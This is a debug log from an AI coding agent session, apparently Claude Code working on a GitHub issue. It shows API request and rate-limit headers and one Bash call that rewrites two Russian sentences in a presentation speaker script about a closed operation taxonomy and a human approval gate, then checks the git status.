\u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0438 \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u043c\u0438 | \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043f\u0443\u0441\u0442\u043e | `G5` |\\n./operation-taxonomy/20-taxonomy.md:148:| `assess` | 5 | `G1`\u2013`G5` | \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u0430, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0438 \u0432\u044b\u0431\u043e\u0440\u0430 |\\n./process-taxonomy/10-theory.md:205:| `AE-2` | \u041d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 (\u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u043e\u043c, \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0432 `approved`, \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0432\u043e\u0432\u043d\u0435) \u0443\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u044f\u0440\u0443\u0441\u043e\u043c \u043d\u0435 \u043d\u0438\u0436\u0435 `G5` \u2014 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u0433\u0435\u0439\u0442\u043e\u043c. |\",\n[2026-09-29T07:56:15.894Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:56:15.894Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:56:15.894Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:56:15.894Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:56:15.894Z] [INFO]   }\n[2026-09-29T07:56:15.894Z] [INFO] }\n[2026-09-29T07:56:15.930Z] [STDOUT] [log_6dc7b4] sending request {\n[2026-09-29T07:56:15.935Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:56:15.938Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:15.947Z] [STDOUT]   options: {\n[2026-09-29T07:56:15.952Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:56:15.954Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:56:15.958Z] [STDOUT]     body: {\n[2026-09-29T07:56:15.962Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:56:15.964Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:56:15.967Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:56:15.970Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:56:15.976Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:56:15.979Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:56:15.984Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:56:15.987Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:56:15.992Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:56:15.996Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:56:16.002Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:56:16.007Z] [STDOUT]       stream: true,\n[2026-09-29T07:56:16.016Z] [STDOUT]     },\n[2026-09-29T07:56:16.019Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:56:16.023Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:56:16.029Z] [STDOUT]       aborted: false,\n[2026-09-29T07:56:16.043Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:56:16.049Z] [STDOUT]       onabort: null,\n[2026-09-29T07:56:16.055Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:56:16.066Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:56:16.084Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:56:16.093Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:56:16.113Z] [STDOUT]     },\n[2026-09-29T07:56:16.118Z] [STDOUT]     stream: true,\n[2026-09-29T07:56:16.120Z] [STDOUT]   },\n[2026-09-29T07:56:16.138Z] [STDOUT]   headers: {\n[2026-09-29T07:56:16.184Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:56:16.195Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:56:16.198Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:56:16.199Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:56:16.201Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:56:16.203Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:56:16.207Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:56:16.210Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:56:16.213Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:56:16.215Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1595\",\n[2026-09-29T07:56:16.217Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:56:16.219Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:56:16.222Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:16.224Z] [STDOUT]     \"x-client-request-id\": \"e3c92431-8813-45e9-bf4e-9eae0f3739f5\",\n[2026-09-29T07:56:16.226Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:56:16.228Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:56:16.230Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:56:16.232Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:56:16.235Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:56:16.237Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:56:16.239Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:56:16.241Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:56:16.242Z] [STDOUT]   },\n[2026-09-29T07:56:16.244Z] [STDOUT] }\n[2026-09-29T07:56:16.809Z] [STDOUT] [log_6dc7b4, request-id: \"req_011CfXNam7i9nWEgywLpcZW4\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 882ms\n[2026-09-29T07:56:16.812Z] [STDOUT] [log_6dc7b4] response start {\n[2026-09-29T07:56:16.815Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:16.826Z] [STDOUT]   status: 200,\n[2026-09-29T07:56:16.831Z] [STDOUT]   headers: {\n[2026-09-29T07:56:16.834Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:56:16.843Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:56:16.848Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:56:16.854Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:56:16.856Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:56:16.864Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:56:16.869Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:56:16.873Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:56:16.879Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:56:16.883Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:56:16.887Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:56:16.889Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:56:16.893Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:56:16.898Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:56:16.902Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:56:16.906Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:56:16.910Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:56:16.914Z] [STDOUT]     \"cf-ray\": \"a4296e27996c5d90-FRA\",\n[2026-09-29T07:56:16.918Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:56:16.922Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:56:16.926Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:56:16.933Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:56:16.936Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:56:16 GMT\",\n[2026-09-29T07:56:16.939Z] [STDOUT]     \"request-id\": \"req_011CfXNam7i9nWEgywLpcZW4\",\n[2026-09-29T07:56:16.947Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:56:16.950Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:56:16.955Z] [STDOUT]     traceresponse: \"00-9939f21cd595489f555385c9af14d972-8ba08898d82e1f51-01\",\n[2026-09-29T07:56:16.959Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:56:16.962Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:56:16.965Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:56:16.968Z] [STDOUT]   },\n[2026-09-29T07:56:16.973Z] [STDOUT]   durationMs: 882,\n[2026-09-29T07:56:16.978Z] [STDOUT] }\n[2026-09-29T07:56:16.982Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:56:16.984Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:56:16 GMT\",\n[2026-09-29T07:56:16.989Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:56:17.001Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:56:17.005Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:56:17.010Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:56:17.012Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:56:17.015Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:56:17.021Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:56:17.025Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:56:17.029Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:56:17.033Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:56:17.042Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:56:17.046Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:56:17.050Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:56:17.054Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:56:17.059Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:56:17.065Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:56:17.070Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:56:17.074Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:56:17.078Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:56:17.081Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:56:17.083Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:56:17.089Z] [STDOUT]   \"request-id\": \"req_011CfXNam7i9nWEgywLpcZW4\",\n[2026-09-29T07:56:17.102Z] [STDOUT]   \"traceresponse\": \"00-9939f21cd595489f555385c9af14d972-8ba08898d82e1f51-01\",\n[2026-09-29T07:56:17.108Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:56:17.116Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:56:17.123Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:56:17.136Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:56:17.150Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:56:17.240Z] [STDOUT]   \"cf-ray\": \"a4296e27996c5d90-FRA\",\n[2026-09-29T07:56:17.247Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:56:17.257Z] [STDOUT] [log_6dc7b4] response parsed {\n[2026-09-29T07:56:17.259Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:17.261Z] [STDOUT]   status: 200,\n[2026-09-29T07:56:17.263Z] [STDOUT]   body: X {\n[2026-09-29T07:56:17.264Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:56:17.266Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:56:17.267Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:56:17.269Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:56:17.272Z] [STDOUT]     },\n[2026-09-29T07:56:17.273Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:56:17.276Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:56:17.277Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:56:17.280Z] [STDOUT]   },\n[2026-09-29T07:56:17.283Z] [STDOUT]   durationMs: 883,\n[2026-09-29T07:56:17.284Z] [STDOUT] }\n[2026-09-29T07:56:17.368Z] [INFO] {\n[2026-09-29T07:56:17.368Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:17.368Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:17.368Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:56:17.368Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:17.368Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:17.368Z] [INFO]   \"uuid\": \"bd458ab9-934c-4456-a33a-c4c74edf9beb\"\n[2026-09-29T07:56:17.368Z] [INFO] }\n[2026-09-29T07:56:18.481Z] [INFO] {\n[2026-09-29T07:56:18.481Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:18.481Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:18.481Z] [INFO]   \"estimated_tokens\": 210,\n[2026-09-29T07:56:18.481Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:18.481Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:18.481Z] [INFO]   \"uuid\": \"0768566e-e4bd-47f0-8acd-043570152704\"\n[2026-09-29T07:56:18.481Z] [INFO] }\n[2026-09-29T07:56:18.485Z] [INFO] {\n[2026-09-29T07:56:18.485Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:56:18.485Z] [INFO]   \"message\": {\n[2026-09-29T07:56:18.485Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:56:18.485Z] [INFO]     \"id\": \"msg_011CfXNamkASR6seCMhTXtaH\",\n[2026-09-29T07:56:18.485Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:56:18.485Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:56:18.485Z] [INFO]     \"content\": [\n[2026-09-29T07:56:18.485Z] [INFO]       {\n[2026-09-29T07:56:18.485Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:56:18.485Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:56:18.485Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:56:18.485Z] [INFO]     ],\n[2026-09-29T07:56:18.485Z] [INFO]     \"container\": null,\n[2026-09-29T07:56:18.485Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:56:18.485Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:56:18.485Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:56:18.485Z] [INFO]     \"usage\": {\n[2026-09-29T07:56:18.485Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:56:18.485Z] [INFO]       \"cache_creation_input_tokens\": 1129,\n[2026-09-29T07:56:18.485Z] [INFO]       \"cache_read_input_tokens\": 60807,\n[2026-09-29T07:56:18.485Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:56:18.485Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:56:18.485Z] [INFO]         \"ephemeral_1h_input_tokens\": 1129\n[2026-09-29T07:56:18.485Z] [INFO]       },\n[2026-09-29T07:56:18.485Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:56:18.485Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:56:18.485Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:56:18.485Z] [INFO]     },\n[2026-09-29T07:56:18.485Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:56:18.485Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:56:18.485Z] [INFO]     \"context_management\": null\n[2026-09-29T07:56:18.485Z] [INFO]   },\n[2026-09-29T07:56:18.485Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:18.485Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:18.485Z] [INFO]   \"uuid\": \"85a3c2e0-ce35-4027-ae89-57db3fc962fd\",\n[2026-09-29T07:56:18.485Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:18.480Z\",\n[2026-09-29T07:56:18.485Z] [INFO]   \"request_id\": \"req_011CfXNam7i9nWEgywLpcZW4\"\n[2026-09-29T07:56:18.485Z] [INFO] }\n[2026-09-29T07:56:18.493Z] [INFO] {\n[2026-09-29T07:56:18.493Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:56:18.493Z] [INFO]   \"message\": {\n[2026-09-29T07:56:18.493Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:56:18.493Z] [INFO]     \"id\": \"msg_011CfXNamkASR6seCMhTXtaH\",\n[2026-09-29T07:56:18.493Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:56:18.493Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:56:18.493Z] [INFO]     \"content\": [\n[2026-09-29T07:56:18.493Z] [INFO]       {\n[2026-09-29T07:56:18.493Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:56:18.493Z] [INFO]         \"text\": \"Verified: T-1 (closed taxonomy) and G5 as the human gate. Tightening two phrases to match the sources:\"\n[2026-09-29T07:56:18.493Z] [INFO]       }\n[2026-09-29T07:56:18.493Z] [INFO]     ],\n[2026-09-29T07:56:18.493Z] [INFO]     \"container\": null,\n[2026-09-29T07:56:18.493Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:56:18.493Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:56:18.493Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:56:18.493Z] [INFO]     \"usage\": {\n[2026-09-29T07:56:18.493Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:56:18.493Z] [INFO]       \"cache_creation_input_tokens\": 1129,\n[2026-09-29T07:56:18.493Z] [INFO]       \"cache_read_input_tokens\": 60807,\n[2026-09-29T07:56:18.493Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:56:18.493Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:56:18.493Z] [INFO]         \"ephemeral_1h_input_tokens\": 1129\n[2026-09-29T07:56:18.493Z] [INFO]       },\n[2026-09-29T07:56:18.493Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:56:18.493Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:56:18.493Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:56:18.493Z] [INFO]     },\n[2026-09-29T07:56:18.493Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:56:18.493Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:56:18.493Z] [INFO]     \"context_management\": null\n[2026-09-29T07:56:18.493Z] [INFO]   },\n[2026-09-29T07:56:18.493Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:18.493Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:18.493Z] [INFO]   \"uuid\": \"31818e9c-8cbd-46e4-a737-56fe2877dbb3\",\n[2026-09-29T07:56:18.493Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:18.482Z\",\n[2026-09-29T07:56:18.493Z] [INFO]   \"request_id\": \"req_011CfXNam7i9nWEgywLpcZW4\"\n[2026-09-29T07:56:18.493Z] [INFO] }\n[2026-09-29T07:56:21.931Z] [INFO] {\n[2026-09-29T07:56:21.931Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:56:21.931Z] [INFO]   \"message\": {\n[2026-09-29T07:56:21.931Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:56:21.931Z] [INFO]     \"id\": \"msg_011CfXNamkASR6seCMhTXtaH\",\n[2026-09-29T07:56:21.931Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:56:21.931Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:56:21.931Z] [INFO]     \"content\": [\n[2026-09-29T07:56:21.931Z] [INFO]       {\n[2026-09-29T07:56:21.931Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:56:21.931Z] [INFO]         \"id\": \"toolu_01GFgEY5eVXxKiysgncR65Ga\",\n[2026-09-29T07:56:21.931Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:56:21.931Z] [INFO]         \"input\": {\n[2026-09-29T07:56:21.931Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation; F=2026-09-29-meta-model-presentation-speaker-script.md\\npython3 - \\\"$F\\\" <<'EOF'\\nimport sys\\nf=sys.argv[1]; t=open(f).read()\\nreps=[(\\\"\\\"\\\"- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430\\n  \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u043c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0438 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\\"\\\"\\\"),\\n(\\\"\\\"\\\"\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\\"\\\"\\\",\\n\\\"\\\"\\\"\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u0434\u043b\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442. \u0417\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b\\n\u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043f\u043e\u0434 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430\\n\u043d\u0451\u043c.\\\"\\\"\\\")]\\nfor a,b in reps:\\n    assert a in t,a; t=t.replace(a,b)\\nopen(f,'w').write(t)\\nEOF\\ncd /tmp/gh-issue-solver-1790667776920; git status --short; ls projects/ba-ai-process/docs/presentation; git show --stat HEAD | head\",\n[2026-09-29T07:56:21.931Z] [INFO]           \"description\": \"Apply wording fixes and check git state\"\n[2026-09-29T07:56:21.931Z] [INFO]         },\n[2026-09-29T07:56:21.931Z] [INFO]         \"caller\": {\n[2026-09-29T07:56:21.931Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:56:21.931Z] [INFO]         }\n[2026-09-29T07:56:21.931Z] [INFO]       }\n[2026-09-29T07:56:21.931Z] 